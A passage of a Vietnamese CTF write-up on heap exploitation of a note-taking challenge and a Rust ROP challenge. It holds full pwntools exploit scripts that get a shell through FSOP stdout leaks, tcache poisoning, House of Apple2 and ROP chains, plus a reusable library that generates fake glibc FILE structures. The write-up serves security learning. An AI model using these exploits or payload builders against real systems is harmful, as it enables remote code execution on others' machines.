  idx[1] = 0;
  idx[0] = 0;
  printf("index > ");
  __isoc99_scanf("%d", idx);
  getchar();
  if ( notes[idx[0]] )
  {
    printf("content > ");
    read(0, (void *)notes[idx[0]], (unsigned int)sizes[idx[0]]);
  }
  else
  {
    puts("invalid!");
  }
  return __readfsqword(0x28u) ^ v2;
}
```

- coppy : hàm này sẽ cho phép sao chép dữ liệu từ notes[idx2] vào notes[idx] , ở đây nó không check idx -> oob


```C
unsigned __int64 copy()
{
  int idx; // [rsp+0h] [rbp-10h] BYREF
  int idx2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("index1 > ");
  __isoc99_scanf("%d", &idx);
  getchar();
  printf("inde2 > ");
  __isoc99_scanf("%d", &idx2);
  getchar();
  if ( notes[idx] && notes[idx2] )
    memcpy((void *)notes[idx], (const void *)notes[idx2], (int)sizes[idx2]);
  else
    puts("invalid!");
  return __readfsqword(0x28u) ^ v3;
}
```

### EXPLOIT 

vì bài này không có hàm nào để leak -> ta phải nghĩ đến ```FSOP``` 

ta có thể xem xét POC này : ở đây ta chỉ cần sửa bit cờ và change ```_IO_write_base``` là ta có thể leak được 

```C
#include <stdio.h>

int main()
{
    int flags,modified_flag;
    setbuf(stdout, NULL);
    flags = stdout->_flags;
    stdout->_flags = 0xfbad2087 | 0x1000 | 0x800;
    stdout->_IO_write_base -= 8;
    printf("flags: 0x%x\n", flags);
}
```

chi tiết xem ở đây : https://reinject.top/posts/ctf-pwn/leaklibc/overwrite__io_2_1_stdout_to_leak_libc/

- kịch bản ở đây sẽ như sau 

> đầu tiên ta sẽ malloc 2 khối 1 khối để free() vào usorted-bin và 1 khối để ngăn khối đầu tiên gộp với top_chunk
> tiếp theo ta sẽ phân bổ thêm 2 khối , 2 khối này sẽ được phân bổ từ unsorted-bin nên nó sẽ chứa địa chỉ trỏ đến main_arena

> như đã biết thì 12 bit cuối cùng sẽ luôn cố định , ta có thể thay đổi main_arena thành stdout với tỉ lệ 1/16 (0 -> 0xf)

địa chỉ main arena : 

```0x7f76debc0be0```

địa chỉ stdout : 

![image](https://hackmd.io/_uploads/HJav3yKw1e.png)

> vậy nếu ta có thể thay đổi stdout , ta sẽ change bit cờ thành 0xfbad1800  và thay đổi các bit thấp hơn của write_base thành 0x00.

- có libc xong thì ta thực hiẹn ```tcache_poisioning``` giống bài trước 

- ta sẽ thấy ở đây ta đã overwrite thành công , bây giờ nó quay lại menu và menu sử dụng puts nên ta có thể leak libc

![image](https://hackmd.io/_uploads/r1MrWgKPkg.png)

![image](https://hackmd.io/_uploads/BJhbMlFP1e.png)

script :

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.binary = exe

#p = process()
#p = remote('172.31.3.2', 4240)
def alloc(index, size):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b'index > ',str(index))
    p.sendlineafter(b'size > ',str(size))

def free(index):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b"index > ", str(index))

def edit(index, txt):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b"index > ", str(index))
    p.sendafter(b"content > ",txt)

def copy(index1, index2):
    p.sendlineafter(b'> ',b'4')
    p.sendlineafter(b'index1 > ', str(index1))
    p.sendlineafter(b'inde2 > ', str(index2))

while True:
    p = remote('172.31.3.2',4240)
    alloc(1, 0x420)  # unsorted bin
    alloc(2, 0x10)  # tránh gộp chunk
 
    free(1)        
    alloc(3, 0x60)  # 3 thằng này sẽ chứa fd và bk đến main_arena
    alloc(4, 0x60)
    alloc(5, 0x60)


    free(4) #2
    free(5) #1

    copy(5, 3)   # change fd của chunk5 bằng stdout : 1/16
    edit(5, p16(0x36a0))
    alloc(6, 0x60)
    alloc(7, 0x60)
    try:
        edit(7, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
        libc.address = u64(p.recvline()[8:16]) -  0x1ec980
        log.info(f'libc: {hex(libc.address)}')

        libc_freehook = libc.sym.__free_hook
        libc_system = libc.sym.system

        #### Tcache posioning ####
        alloc(8, 0x50)
        alloc(9, 0x50)

        free(9)
        free(8)

        edit(8,p64(libc_freehook))
        alloc(10, 0x50)
        alloc(11, 0x50)

        edit(11, p64(libc_system))
        alloc(12, 0x30)

        edit(12, b'/bin/sh\x00')
        free(12)
        break
    except:
        p.close()


p.interactive()
```

![image](https://hackmd.io/_uploads/ByHjXltvJg.png)

### cách 2 


```python
#!/usr/bin/env python3

from pwn import *
import io_file

exe = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.binary = exe
global p, index

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p,gdbscript='''
dprintf *edit+0xe9,"reading into %p\\n",$rdi
continue
''')
            sleep(2)
    else:
        p = remote("172.31.3.2",4240)
    return p

def malloc(idx, size):
    p.sendlineafter(b"exit",b"1")
    p.sendlineafter(b"index >",str(idx).encode())
    p.sendlineafter(b"size >",str(size).encode())

def free(idx):
    p.sendlineafter(b"exit",b"2")
    p.sendlineafter(b"index >",str(idx).encode())

def edit(idx, data): # this func has overflow Lol
    p.sendlineafter(b"exit",b"3")
    p.sendlineafter(b"index >",str(idx).encode())
    # p.sendlineafter(b"size >",b"99999")
    p.sendafter(b"content > ",data)

def read(idx):
    p.sendlineafter(b"exit",b"3")
    p.sendlineafter(b"index > ",str(idx).encode())
    leak = p.readuntil(b"1. add note",drop=True)
    return leak


def main():
    global p
    p = conn()

    """
    babyheap & noview without doing any heap exploitation :troll:

    theory:
    for babyheap AND noview, there is no bounds check on the 'edit' feature
    this means if there are any pointers lying outside of the 'notes' array, we can write to them with the edit feature
    and right behind 'notes' are pointers to libc's stdin/stdout/stderr!
    these are well known to be VERY exploitable, and we can freely edit them. :)

    more at https://corgi.rip/posts/leakless_heap_1/, "Step 2: RCE" section
    """
    # context: stdout is at notes[-8]

    # step 0: create chunk at notes[24] so that sizes[-8] has valid size
    malloc(28,0x60)

    # step 1: hijack stdout to force libc leak
    edit(-8,(
        p64(0xfbad3887) + # add _IO_IS_APPENDING flag to stdout
        p64(0)*3 + # read_base, end, and ptr. can be anything
        p8(0) # overwrite LSB of write_base
        ))

    libc_leak = u64(p.recvn(16)[8:])
    libc.address = libc_leak - libc.sym['_IO_2_1_stdin_']
    info(f"{libc.address:#x}")

    # step 2: fsop to shell
    file = io_file.IO_FILE_plus_struct()
    payload = file.house_of_apple2_execmd_when_do_IO_operation(
        libc.sym['_IO_2_1_stdout_'],
        libc.sym['_IO_wfile_jumps'],
        libc.sym['system'])

    edit(-8,payload)

    p.interactive() # What is a heap exploitations? Someone help

if __name__ == "__main__":
    main()
```

io_file

```python
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
'''
@File    : io_file.py
@Time    : 2021/11/23 23:46:48
@Author  : Roderick Chan
@Email   : roderickchan@foxmail.com
@Desc    : Extension for FileStructure in pwntools and define useful IO_FILE related methods
'''


from pwn import FileStructure, context, error, flat, pack, unpack

__all__ = [
    "IO_FILE_plus_struct",
    "payload_replace"
]

class IO_FILE_plus_struct(FileStructure):

    def __init__(self, null=0):
        FileStructure.__init__(self, null)
    
    def __setattr__(self,item,value):
        if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
            object.__setattr__(self,item,value)
        else:
            error("Unknown variable %r" % item)

    def __getattr__(self,item):
        if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
            return object.__getattribute__(self,item)
        error("Unknown variable %r" % item)
    
    def __str__(self):
        return str(self.__bytes__())[2:-1]

    
    @property
    def _mode(self) -> int:
        off = 96
        if context.bits == 64:
            off = 192
        return (self.unknown2 >> off) & 0xffffffff

    @_mode.setter
    def _mode(self, value:int):
        assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))
        off = 96
        if context.bits == 64:
            off = 192
        self.unknown2 |= (value << off)


    @staticmethod
    def show_struct(arch="amd64"):
        if arch not in ("amd64", "i386"):
            error("arch error, noly i386 and amd64 supported!")
        print("arch :", arch)
        _IO_FILE_plus_struct_map = {
            'i386':{
                0x0:'_flags',
                0x4:'_IO_read_ptr',
                0x8:'_IO_read_end',
                0xc:'_IO_read_base',
                0x10:'_IO_write_base',
                0x14:'_IO_write_ptr',
                0x18:'_IO_write_end',
                0x1c:'_IO_buf_base',
                0x20:'_IO_buf_end',
                0x24:'_IO_save_base',
                0x28:'_IO_backup_base',
                0x2c:'_IO_save_end',
                0x30:'_markers',
                0x34:'_chain',
                0x38:'_fileno',
                0x3c:'_flags2',
                0x40:'_old_offset',
                0x44:'_cur_column',
                0x46:'_vtable_offset',
                0x47:'_shortbuf',
                0x48:'_lock',
                0x4c:'_offset',
                0x54:'_codecvt',
                0x58:'_wide_data',
                0x5c:'_freeres_list',
                0x60:'_freeres_buf',
                0x64:'__pad5',
                0x68:'_mode',
                0x6c:'_unused2',
                0x94:'vtable'
            },
            'amd64':{
                0x0:'_flags',
                0x8:'_IO_read_ptr',
                0x10:'_IO_read_end',
                0x18:'_IO_read_base',
                0x20:'_IO_write_base',
                0x28:'_IO_write_ptr',
                0x30:'_IO_write_end',
                0x38:'_IO_buf_base',
                0x40:'_IO_buf_end',
                0x48:'_IO_save_base',
                0x50:'_IO_backup_base',
                0x58:'_IO_save_end',
                0x60:'_markers',
                0x68:'_chain',
                0x70:'_fileno',
                0x74:'_flags2',
                0x78:'_old_offset',
                0x80:'_cur_column',
                0x82:'_vtable_offset',
                0x83:'_shortbuf',
                0x88:'_lock',
                0x90:'_offset',
                0x98:'_codecvt',
                0xa0:'_wide_data',
                0xa8:'_freeres_list',
                0xb0:'_freeres_buf',
                0xb8:'__pad5',
                0xc0:'_mode',
                0xc4:'_unused2',
                0xd8:'vtable'
            }
        }
        for k, v in _IO_FILE_plus_struct_map[arch].items():
            print("  {} : {} ".format(hex(k), v))


    def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):
        """Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so

        Args:
            stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].
            system_addr (int): System address.
            lock_addr (int): Lock address.

        Returns:
            bytes: payload.
        """
        self.flags = 0x68732f6e69622f
        self._IO_read_ptr = 0x61
        self._IO_save_base = system_addr
        self._lock = lock_addr
        self.vtable = stdout_store_addr + 0x10
        return self.__bytes__()


    # only support amd64
    def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):
        """Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.

        Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.

        Args:
            _IO_str_jumps_addr (int): Addr of _IO_str_jumps
            system_addr (int): Addr of system
            bin_sh_addr (int): Addr of the string: /bin/sh

        Returns:
            bytes: payload
        """
        assert context.bits == 64, "only support amd64!"
        self.flags &= ~1
        self._IO_read_ptr = 0x61
        self.unknown2 = 0
        self._IO_write_base = 0
        self._IO_write_ptr = 0x1
        self._IO_buf_base = bin_sh_addr
        self.vtable = _IO_str_jumps_addr - 8
        return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)


    def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int, 
                        setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):
        """House of pig to exec shellcode with setcontext.

        You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.

        Args:
            fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain
            gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'
            str_jumps_addr (int): Addr of _IO_str_jumps
            setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61
            mprotect_addr (int): Addr of mprotect
            shellcode ([type]): The shellcode you wanner execute
            lock (int, optional): lock value if needed. Defaults to 0.

        Returns:
            bytes: payload
        """
        assert context.bits == 64, "only support amd64!"
        self.flags = 0xfbad2800
        self._IO_write_base = 0
        self._IO_write_ptr = 0xffffffffffffff
        self.unknown2 = 0
        self._lock = lock
        self.vtable = str_jumps_addr
        self._IO_buf_base = fp_heap_addr + 0x110
        self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8
        payload = flat({
            0:self.__bytes__(),
            0x100:{
                0x8: fp_heap_addr + 0x110,
                0x20: setcontext_off_addr,
                0xa0: fp_heap_addr + 0x210,
                0xa8: mprotect_addr,
                0x70: 0x2000,
                0x68: (fp_heap_addr + 0x110)&~0xfff,
                0x88: 7,
                0x100: fp_heap_addr + 0x310,
                0x1c0: gadget_addr,
                0x200: shellcode
            }
        })
        return payload

    # house of apple2: https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/
    # suitable for ubuntu 22.04
    def house_of_apple2_execmd_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, system_addr: int, cmd: str="sh"):
        """make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0."""
        assert context.bits == 64, "only support amd64!"
        assert len(cmd) < 7, "length of cmd must lower than 7"
        self.flags = unpack("  " + cmd.ljust(6, "\x00"), 64)  # "  sh"
        self._IO_write_base = 0
        self._IO_write_ptr = 1
        self._mode = 0
        self._lock = standard_FILE_addr-0x10
        self.chain = system_addr
        self._codecvt = standard_FILE_addr
        self._wide_data = standard_FILE_addr - 0x48
        self.vtable = _IO_wfile_jumps_addr
        return self.__bytes__()
    
    house_of_apple2_execmd_when_do_IO_operation = house_of_apple2_execmd_when_exit

    # house of apple2: https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/
    # suitable for ubuntu 22.04
    def house_of_apple2_stack_pivoting_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, leave_ret_addr: int, pop_rbp_addr: int, fake_rbp_addr: int):
        """make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0."""
        assert context.bits == 64, "only support amd64!"
        self.flags = 0 
        self._IO_read_ptr = pop_rbp_addr
        self._IO_read_end = fake_rbp_addr
        self._IO_read_base = leave_ret_addr
        self._IO_write_base = 0
        self._IO_write_ptr = 1
        self._mode = 0
        self._lock = standard_FILE_addr-0x10
        self.chain = leave_ret_addr
        self._codecvt = standard_FILE_addr
        self._wide_data = standard_FILE_addr - 0x48
        self.vtable = _IO_wfile_jumps_addr
        return self.__bytes__()

    house_of_apple2_stack_pivoting_when_do_IO_operation = house_of_apple2_stack_pivoting_when_exit

    def house_of_Lys_getshell_when_exit_under_2_37(self,
                                                   system_addr : int, 
                                                   _IO_obstack_jumps_addr : int, 
                                                   fp_heap_addr : int,
                                                   ):
        '''
        House_of_Lys to getshell:
        Args:
            system_addr: Address of system
            _IO_obstack_jumps_addr: Address of _IO_obstack_jumps
            fp_heap_addr: The heap addr that replace original _IO_list_all or chain
        '''
        assert context.bits == 64, "only support amd64!"
        self._IO_read_base = 1
        self._IO_write_base = 0
        self._IO_write_ptr = 1
        self._IO_write_end = 0
        self._IO_buf_base = system_addr
        self._IO_save_base = fp_heap_addr + 0xa0
        self._IO_backup_base = 1
        self._wide_data = 0x68732f6e69622f
        self.vtable = _IO_obstack_jumps_addr + 0x20
        return self.__bytes__() + pack(fp_heap_addr, 64)

    def house_of_Lys_stack_pivoting_when_exit_between_2_30_and_2_36(self,
                                                                    fp_heap_addr : int,
                                                                    _IO_obstack_jumps_addr : int, 
                                                                    rop_payload : str or bytes,
                                                                    magic_gadget_one_addr : int,
                                                                    magic_gadget_two_addr : int,
                                                                    magic_gadget_three_addr : int):
        '''
        House_of_Lys to execute ROP chain by stack pivoting:

        Args:
            fp_heap_addr(int): The heap addr that replace original _IO_list_all or chain
            _IO_obstack_jumps_addr(int): Address of _IO_obstack_jumps
            rop_payload(bytes or str): The ROP chain you wanner execute
            magic_gadget_one_addr(int): Address of "mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]"
            magic_gadget_two_addr(int): Address of "mov rsp, rdx; ret"
            magic_gadget_three_addr(int): Address of "add rsp, 0x30; mov rax, r12; pop r12; ret"

        Notices: 
            1. The size of fp_heap must be exceeded  0x128+len(rop_payload)! If not, you can use [0xe0:] and payload_replace to set ropchain in other memory
            2. We can use the following code to find gadgets:
                libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
                libc.search(asm("mov rsp, rdx; ret")).__next__()
                libc.search(asm("add rsp, 0x30; mov rax, r12; pop r12; ret")).__next__()
        '''
        assert context.bits == 64, "only support amd64!"
        rop_chain_addr = fp_heap_addr + 0xe8
        self._IO_read_base = 1
        self._IO_write_base = 0
        self._IO_write_ptr = 1
        self._IO_write_end = 0
        self._IO_buf_base = magic_gadget_one_addr
        self._IO_save_base = rop_chain_addr
        self._IO_backup_base = 1
        self.vtable = _IO_obstack_jumps_addr + 0x20
        payload = flat(
            {
            0x0:self.__bytes__() + pack(fp_heap_addr, 64),
            0xe8:{
                0x0:magic_gadget_three_addr,
                0x8:rop_chain_addr,    #Maybe sometimes you need to replace this address
                0x20:magic_gadget_two_addr,
                0x40:rop_payload
            }
            }
        )
        return payload

    def house_of_Lys_stack_pivoting_when_exit_in_2_36(self,
                                                      fp_heap_addr : int,
                                                      _IO_obstack_jumps_addr : int,
                                                      rop_payload : bytes or str,
                                                      magic_gadget_one_addr : int,
                                                      magic_gadget_two_addr :int,
                                                      magic_gadget_three_addr : int,
                                                      ):
        '''
        House_of_Lys to execute ROP chain by stack pivoting in GLibc 2.36:

        Args:
            fp_heap_addr(int): The heap addr that replace original _IO_list_all or chain
            _IO_obstack_jumps_addr(int): Address of _IO_obstack_jumps
            rop_payload(bytes or str): The ROP chain you wanner execute
            magic_gadget_one_addr(int): Address of "mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]"
            magic_gadget_two_addr(int): Address of "mov rsp, rdx; ret"
            magic_gadget_three_addr(int): Address of "add rsp, 0x38 ; mov rax, rcx ; ret"

        Notices: 
            1. The size of fp_heap must be exceeded  0x130+len(rop_payload)! If not, you can use [0xe0:] and payload_replace to set ropchain in other memory
            2. We can use the following code to find gadgets:
                libc.search(asm("mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]")).__next__()
                libc.search(asm("mov rsp, rdx; ret")).__next__()
                libc.search(asm("add rsp, 0x38 ; mov rax, rcx ; ret")).__next__()
        '''
        assert context.bits == 64, "only support amd64!"
        rop_chain_addr = fp_heap_addr + 0xe8
        self._IO_read_base = 1
        self._IO_write_base = 0
        self._IO_write_ptr = 1
        self._IO_write_end = 0
        self._IO_buf_base = magic_gadget_one_addr - 0x8
        self._IO_save_base = rop_chain_addr
        self._IO_backup_base = 1
        self.vtable = _IO_obstack_jumps_addr + 0x20
        payload = flat(
            {
            0x0:self.__bytes__() + pack(fp_heap_addr, 64),
            0xe8:{
                0x0:rop_chain_addr,    #Maybe sometimes you need to replace this address
                0x8:magic_gadget_three_addr,
                0x28:magic_gadget_two_addr,
                0x38:rop_chain_addr + 0x8,
                0x48:rop_payload
            }
            }
        )
        return payload


def payload_replace(payload: str or bytes, rpdict:dict=None, filler="\x00"):
    assert isinstance(payload, (str, bytes)), "wrong payload!"
    assert context.bits in (32, 64), "wrong context.bits!"
    assert len(filler) == 1, "wrong filler!"
    
    if isinstance(payload, str):
        payload = payload.encode('latin-1')

    output = list(payload)
    
    if isinstance(filler, str):
        filler = filler.encode('latin-1')

    for off, data in rpdict.items():
        assert isinstance(off, (int, str, bytes)), "wrong off in rpdict! Type error!"
        assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)
        
        if isinstance(off, str):
            off = off.encode('latin-1')
        
        if isinstance(off, bytes):
            off = payload.find(off)
            assert off > -1, "Cannot find off in payload!"   
        else:
            assert off > -1, "wrong off in rpdict! Cannot be neg number!"

        if isinstance(data, str):
            data = data.encode('latin-1')
        elif isinstance(data, int):
            data = pack(data, word_size=context.bits, endianness=context.endian)
        distance = len(output) - len(data)
        if off > distance:
            output.extend([int.from_bytes(filler, "little")]*(off - distance))

        for i, d in enumerate(data):
            output[off+i] = d
        
    return bytes(output)
```

---------

## Babyrust

```
#!/usr/bin/env python3

from pwn import *

exe = ELF("./babyrust_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
global p

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p,gdbscript='''
break *_ZN8babyrust4main17h57a652059325662bE+362
continue
''')
            sleep(2)
    else:
        p = remote("172.31.1.2",11102)
    return p

# set three arguments
def three_arg_chain(a,b,c):
    r = ROP([exe])
    return flat(
    r.find_gadget(['pop rdi','ret'])[0],
    a,
    r.find_gadget(['pop rsi', 'ret'])[0],
    b,
    r.find_gadget(['pop rcx','ret'])[0],
    c,
    exe.address + 0x2fc23, #  mov rdx, rcx ; pop rcx ; ret ;
    0x69696969)

# call *p (useful for calling GOT functions)
def call_ptr(p):
    r = ROP([exe])
    return flat(
    r.find_gadget(['pop rcx','ret'])[0],
    p,
    exe.address + 0x36157 # jmp qword [rcx] ;
    )
    
def main():
    global p
    p = conn()
    
    p.readuntil(b'Magic: ')
    leak = int(p.readline(),16)
    exe.address = leak - exe.sym['_ZN8babyrust5MAGIC17h48b2c6b515a9771cE']
    info(f"{exe.address=:#x}")
    
    exe_writable_area = exe.address + 331776
    
    # info(f"{exe.plt['mprotect']=:#x}")
    
    p.sendlineafter(b"Give me your overflow: ",cyclic(448) + flat(
    three_arg_chain(1,exe.got['write'],8),
    call_ptr(exe.got['write']),
    exe.address+0x601a, # ret (stack alignment)
    exe.address+0x601a, # ret (stack alignment)
    exe.address+0x601a, # ret (stack alignment)
    exe.address+0x601a, # ret (stack alignment)

    exe.sym['_ZN8babyrust4main17h57a652059325662bE'],
    
    ))

    libc_leak = u64(p.recvn(8))
    
    info(f"{libc_leak=:#x}")
    
    libc.address = libc_leak - libc.sym['write']
    
    info(f"{libc.address=:#x}")
    
    r = ROP([exe,libc])
    r.raw(r.find_gadget(["ret"])[0])
    binsh = next(libc.search(b"/bin/sh\0"))
    r.system(binsh) 
    
    p.sendlineafter(b"Give me your overflow",cyclic(448)+ r.chain())
    
    p.interactive() # PLIMB's up!
    
if __name__ == "__main__":
    main()
```

https://github.com/pwn2ooown/My-CTF-Challenges-Public/blob/main/2025_TSCCTF/babyrust/exp/exp.py